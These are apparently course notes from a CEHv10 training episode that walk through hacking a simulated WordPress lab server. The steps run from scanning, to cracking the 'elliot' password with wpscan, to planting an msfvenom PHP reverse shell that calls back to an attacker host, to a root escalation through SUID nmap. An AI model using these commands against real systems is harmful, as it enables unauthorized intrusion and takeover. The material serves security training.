- Filename: eccouncil-ceh31250-v10-14-2-1-practical_web_app_hacking.md
- Show Name: CEHv10 (312-50)
- Topic Name: Hacking Web Applications
- Episode Name: Practical Web App Hacking
- Description: In this episode, Daniel and Zach explain Web Application hacking methodology through practical example. Here they stand-up a simulated Web App environment where they will take you from Footprinting the target server all the way to gaining root privileges and every step in between.

==========

Practical Web App Hacking

- Web App Hacking Methodology
    - Discovery
        - Host
            - `netdiscover`
            - `nmap`
    - Enumeration
        - Check for WAF
            - `wafw00f http://10.0.0.176`
        - Services
            - `nmap -A -T4 -n -p- 10.0.0.176`
            - `nikto -h http://10.0.0.176`
                - See WordPress info
            - `dirb http://10.0.0.176`
                - robots.txt
            - `wpscan --url http://10.0.0.176 --enumerate u`
                - Doesn't enumerate any user accounts
        - User account
            - Use ZAP! to enumerate the WordPress username
            - Use `wpscan` to crack password
                - `wpscan --url http://10.0.0.176 --wordlist fsociety.dic --username elliot`
            - Use creds to login to Wordpress site
    - Attacking
        - Check user account status
        - Look for ways to upload web shell
        - Use Theme > Editor > 404.php page
        - Use *Metasploit/Msfvenom* to create a php reverse_tcp shell
            - `msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.0.212 lport=4444 -f raw`
            - Copy output
            - Paste into 404.php and save
            - Open *Metasploit*
                - `> use multi/handler`
                - `> set payload php/meterpreter/reverse_tcp`
                - `> set lhost 10.0.0.212`
                - `> set lport 4444`
                - `> run`

- Browse to http://10.0.0.176/blah
    - Check for connection in *Metasploit*
    - `meterpreter > sysinfo`
    - `meterpreter > shell`
    - Upgrade shell
        - `python -c 'import pty; pty.spawn("/bin/bash")'`

- Priv Esc
    - Check for SUID/GUID binaries
        - `find / -perm -u=s -type f 2>/dev/null`
            - Look over programs
            - See *nmap* there
            - Check the version
            - Launch interactive mode
                - `/usr/local/bin/nmap --interactive`
                - `nmap> !/bin/bash`
                    - Still a user shell :(
                    - Try other shells
                    - `nmap> !/bin/sh`
                    - ROOT!!!! :)